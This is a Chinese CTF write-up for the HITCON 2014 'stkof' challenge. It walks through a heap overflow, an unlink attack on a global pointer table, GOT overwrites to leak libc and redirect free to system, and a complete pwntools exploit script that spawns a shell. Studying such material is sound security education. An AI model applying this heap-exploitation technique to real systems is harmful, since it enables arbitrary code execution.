0%

hitcon_2014_stkof详解

本文主要列出hitcon2014_stkof的详细过程

主要参考:unlink 系列

程序流程

  1. allocate:分配一个指定size大小的块,返回idx。

    其中块的指针信息保存在一个全局变量0x602140中

  2. fill:根据idx找到对应的块,重新给定大小size,读入内容content

  3. free:释放idx的块

漏洞分析

  1. 由于fill时候的size可以重新制定,可以造成堆溢出。
  2. 没有打印函数
  3. 有一个全局变量

方法:unlink

  1. unlink,控制全局变量内容
  2. 修改chunk1指针为free_got,修改got表内容为puts_plt
  3. 修改chunk2指针为puts_got,这样,free(2)即可打印puts地址
  4. 计算system和binsh
  5. 同2,修改got表内容为system,对未使用的chunk4填入‘binsh’
  6. free(4)即可get_shell

详细过程

0.tip(setbuf)

setbuf()/setvbuf()函数作用:关闭I/O缓冲区

一般为了让程序显示正常,会关闭I/O缓冲区

1
2
3
setbuf(stdin ,0);
setbuf(stdout,0);
setbuf(stderr,0);

但是本题没有关闭缓冲区,函数运行开始阶段在fgets()函数以及printf()函数运行的时候,会malloc()两块内存区域

1.保护

没开pie,Partial RELRO,可以修改got表内容。

1
2
3
4
5
6
7
winter@ubuntu:~/buu$ checksec stkof
[*] '/home/winter/buu/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.申请四个块

由于为关闭缓冲区,故程序中多出输入缓冲区和输出缓冲区。

第一个chunk,由于会加在输入输出缓冲区之间,后续无用。

第二个chunk,为了unlink前向合并

第三个chunk,大小非fastbin

第四个chunk,一个开始阶段不被改变的chunk,用于最后填入的‘/bin/sh’。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x20f7000
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0x20f8010
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x20f8040
Size: 0x411

Allocated chunk | PREV_INUSE
Addr: 0x20f8450
Size: 0x41

Allocated chunk | PREV_INUSE
Addr: 0x20f8490
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x20f8520
Size: 0x31

Top chunk | PREV_INUSE
Addr: 0x20f8550
Size: 0x20ab1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> x/50gx 0x20f8450
0x20f8450: 0x0000000000000000 0x0000000000000041
0x20f8460: 0x0000000000000000 0x0000000000000000
0x20f8470: 0x0000000000000000 0x0000000000000000
0x20f8480: 0x0000000000000000 0x0000000000000000
0x20f8490: 0x0000000000000000 0x0000000000000091
0x20f84a0: 0x0000000000000000 0x0000000000000000
0x20f84b0: 0x0000000000000000 0x0000000000000000
0x20f84c0: 0x0000000000000000 0x0000000000000000
0x20f84d0: 0x0000000000000000 0x0000000000000000
0x20f84e0: 0x0000000000000000 0x0000000000000000
0x20f84f0: 0x0000000000000000 0x0000000000000000
0x20f8500: 0x0000000000000000 0x0000000000000000
0x20f8510: 0x0000000000000000 0x0000000000000000
0x20f8520: 0x0000000000000000 0x0000000000000031
0x20f8530: 0x0000000000000000 0x0000000000000000
0x20f8540: 0x0000000000000000 0x0000000000000000
0x20f8550: 0x0000000000000000 0x0000000000020ab1
0x20f8560: 0x0000000000000000 0x0000000000000000
0x20f8570: 0x0000000000000000 0x0000000000000000

全局变量的情况,申请四个chunk的首地址记录在里面。

1
2
3
4
5
pwndbg>  x/30gx 0x602140
0x602140: 0x0000000000000000 0x00000000020f8020
0x602150: 0x00000000020f8460 0x00000000020f84a0
0x602160: 0x00000000020f8530 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000

3.伪造chunk,unlink前向合并

在chunk2中伪造了一个0x20大小的已被释放的chunk,并在chunk3的pre_size中也要填入0x30

通过unlink的固定格式,进行unlink操作,即可使target的地址为target-0x18,网target地址填入数据,即可实现全局变量的控制。

1
2
3
target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10

伪造chunk

  • size为0x30,被释放
  • fd = target - 0x18
  • bk = target - 0x10

修改下一个chunk的pre_size(合并找到伪造的chunk)

  • pre_size = 0x30,当前chunk为0x90
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> x/50gx 0x20f8450
0x20f8450: 0x0000000000000000 0x0000000000000041
0x20f8460: 0x0000000000000000 0x0000000000000030
0x20f8470: 0x0000000000602138 0x0000000000602140
0x20f8480: 0x6161616161616161 0x6161616161616161
0x20f8490: 0x0000000000000030 0x0000000000000090
0x20f84a0: 0x0000000000000000 0x0000000000000000
0x20f84b0: 0x0000000000000000 0x0000000000000000
0x20f84c0: 0x0000000000000000 0x0000000000000000
0x20f84d0: 0x0000000000000000 0x0000000000000000
0x20f84e0: 0x0000000000000000 0x0000000000000000
0x20f84f0: 0x0000000000000000 0x0000000000000000
0x20f8500: 0x0000000000000000 0x0000000000000000
0x20f8510: 0x0000000000000000 0x0000000000000000
0x20f8520: 0x0000000000000000 0x0000000000000031
0x20f8530: 0x0000000000000000 0x0000000000000000
0x20f8540: 0x0000000000000000 0x0000000000000000
0x20f8550: 0x0000000000000000 0x0000000000020ab1
0x20f8560: 0x0000000000000000 0x0000000000000000
0x20f8570: 0x0000000000000000 0x0000000000000000

free后造成合并,unlink,在chunk2中填入了target-0x18

1
2
3
4
5
pwndbg> x/30gx 0x602140
0x602140: 0x0000000000000000 0x00000000020f8020
0x602150: 0x0000000000602138 0x0000000000000000
0x602160: 0x00000000020f8530 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000

heap里面看不出来,,,因为地址不对,,,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x20f7000
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0x20f8010
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x20f8040
Size: 0x411

Allocated chunk | PREV_INUSE
Addr: 0x20f8450
Size: 0x41

Allocated chunk
Addr: 0x20f8490
Size: 0x90

Allocated chunk
Addr: 0x20f8520
Size: 0x30

Top chunk | PREV_INUSE
Addr: 0x20f8550
Size: 0x20ab1

但是已经成功合并释放了,起始地址为伪造的chunk开头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x20f8460 —▸ 0x7fbcdd959b78 (main_arena+88) ◂— 0x20f8460
smallbins
empty
largebins
empty

伪造的chunk大小变为0xc0(0x30+0x90)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> x/50gx 0x20f8450
0x20f8450: 0x0000000000000000 0x0000000000000041
0x20f8460: 0x0000000000000000 0x00000000000000c1
0x20f8470: 0x00007fbcdd959b78 0x00007fbcdd959b78
0x20f8480: 0x6161616161616161 0x6161616161616161
0x20f8490: 0x0000000000000030 0x0000000000000090
0x20f84a0: 0x0000000000000000 0x0000000000000000
0x20f84b0: 0x0000000000000000 0x0000000000000000
0x20f84c0: 0x0000000000000000 0x0000000000000000
0x20f84d0: 0x0000000000000000 0x0000000000000000
0x20f84e0: 0x0000000000000000 0x0000000000000000
0x20f84f0: 0x0000000000000000 0x0000000000000000
0x20f8500: 0x0000000000000000 0x0000000000000000
0x20f8510: 0x0000000000000000 0x0000000000000000
0x20f8520: 0x00000000000000c0 0x0000000000000030
0x20f8530: 0x0000000000000000 0x0000000000000000
0x20f8540: 0x0000000000000000 0x0000000000000000
0x20f8550: 0x0000000000000000 0x0000000000020ab1
0x20f8560: 0x0000000000000000 0x0000000000000000
0x20f8570: 0x0000000000000000 0x0000000000000000

4. 修改全局变量的值

通过unlink技术得到的部分地址读写能力,可以修改chunk1的指针为free_got,chunk2的指针为puts_got,接下来对chunk1和chunk2的内容进行的修改,本质都是修改两个got表

1
2
3
4
5
6
pwndbg> x/30gx 0x602130
0x602130: 0x0000000000000000 0x6161616161616161
0x602140: 0x6161616161616161 0x0000000000602018
0x602150: 0x0000000000602020 0x0000000000000000
0x602160: 0x00000000020f8530 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
1
2
3
pwndbg> x/30gx 0x0000000000602018
0x602018 <free@got.plt>: 0x00007fbcdd619540 0x00007fbcdd6046a0
0x602028 <fread@got.plt>: 0x00007fbcdd6031b0 0x0000000000400786

5.获取打印功能,泄露地址

由于前面已经修改chunk1的指针为got表指针,所以,直接fill chunk1的内容为puts_plt,那么free()时就是执行puts函数,从而泄露地址。

由于chunk2的指针已经为puts_got,所以free(2)就是puts(puts函数的got表)

1
2
3
4
5
6
pwndbg> x/30gx 0x0000000000602018
0x602018 <free@got.plt>: 0x0000000000400760 0x00007fbcdd6046a0
0x602028 <fread@got.plt>: 0x00007fbcdd6031b0 0x0000000000400786

pwndbg> x/30gx 0x0000000000400760
0x400760 <puts@plt>: 0x0168002018ba25ff 0xffffffd0e9000000

泄露成功,可以计算libc基址、system函数地址

1
2
3
4
5
6
[DEBUG] Received 0x7 bytes:
00000000 a0 46 60 dd bc 7f 0a │·F`·│···│
00000007

pwndbg> x/30gx puts
0x7fbcdd6046a0 <_IO_puts>:

6.free->system,块内容“/bin/sh”

同5,再次fill chunk1内容为system的地址,然后执行free函数就是执行system函数。

对未使用的chunk4填入“/bin/sh”内容,free(4)即可执行system(“/bin/sh”)

1
2
3
4
5
6
pwndbg> x/30gx 0x0000000000602018
0x602018 <free@got.plt>: 0x00007fbcdd5da3a0 0x00007fbcdd6046a0
0x602028 <fread@got.plt>: 0x00007fbcdd6031b0 0x0000000000400786

pwndbg> x/30gx 0x00007fbcdd5da3a0
0x7fbcdd5da3a0 <__libc_system>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x20f8450
0x20f8450: 0x0000000000000000 0x0000000000000041
0x20f8460: 0x0000000000000000 0x00000000000000c1
0x20f8470: 0x00007fbcdd959b78 0x00007fbcdd959b78
0x20f8480: 0x6161616161616161 0x6161616161616161
0x20f8490: 0x0000000000000030 0x0000000000000090
0x20f84a0: 0x0000000000000000 0x0000000000000000
0x20f84b0: 0x0000000000000000 0x0000000000000000
0x20f84c0: 0x0000000000000000 0x0000000000000000
0x20f84d0: 0x0000000000000000 0x0000000000000000
0x20f84e0: 0x0000000000000000 0x0000000000000000
0x20f84f0: 0x0000000000000000 0x0000000000000000
0x20f8500: 0x0000000000000000 0x0000000000000000
0x20f8510: 0x0000000000000000 0x0000000000000000
0x20f8520: 0x00000000000000c0 0x0000000000000030
0x20f8530: 0x0000000000000000 0x0000000000000000#chunk4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> x/30gx 0x20f8450
0x20f8450: 0x0000000000000000 0x0000000000000041
0x20f8460: 0x0000000000000000 0x00000000000000c1
0x20f8470: 0x00007fbcdd959b78 0x00007fbcdd959b78
0x20f8480: 0x6161616161616161 0x6161616161616161
0x20f8490: 0x0000000000000030 0x0000000000000090
0x20f84a0: 0x0000000000000000 0x0000000000000000
0x20f84b0: 0x0000000000000000 0x0000000000000000
0x20f84c0: 0x0000000000000000 0x0000000000000000
0x20f84d0: 0x0000000000000000 0x0000000000000000
0x20f84e0: 0x0000000000000000 0x0000000000000000
0x20f84f0: 0x0000000000000000 0x0000000000000000
0x20f8500: 0x0000000000000000 0x0000000000000000
0x20f8510: 0x0000000000000000 0x0000000000000000
0x20f8520: 0x00000000000000c0 0x0000000000000030
0x20f8530: 0x0068732f6e69622f 0x0000000000000000#chunk4填入“/bin/sh”

pwndbg> x/10s 0x20f8530
0x20f8530: "/bin/sh"

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
p = process('./stkof')
p=remote("node3.buuoj.cn",28999)
context.log_level = 'debug'

elf = ELF("./stkof")
libc = ELF("./libc-2.23.so")

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

def alloc(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil("OK")

def fill(idx,content):
p.sendline(str(2))
p.sendline(str(idx))
p.sendline(str(len(content)))
p.sendline(content)
p.recvuntil("OK")

def free(idx):
p.sendline(str(3))
p.sendline(str(idx))

alloc(0x30)
alloc(0x30)
alloc(0x80)
alloc(0x30)

target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10

payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += "a"*0x10

payload += p64(0x30) + p64(0x90)
fill(2,payload)
free(3)

payload = "a"*0x10
payload += p64(free_got) + p64(puts_got)
fill(2,payload)

payload = p64(puts_plt)
fill(1,payload)
free(2)

puts_addr = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
log.success(hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search("/bin/sh").next()

log.success(hex(libc_base))
log.success(hex(system))
log.success(hex(binsh))

payload = p64(system)
fill(1,payload)

fill(4,'/bin/sh\x00')
free(4)

p.interactive()

这道题其实是第二次做了,还比较顺。思路比第一次更清晰了(第一次分析)。

unlink主要适用于存在堆溢出和全局变量的情况。

Q:如果阅读本文需要付费,你是否愿意为此支付1元?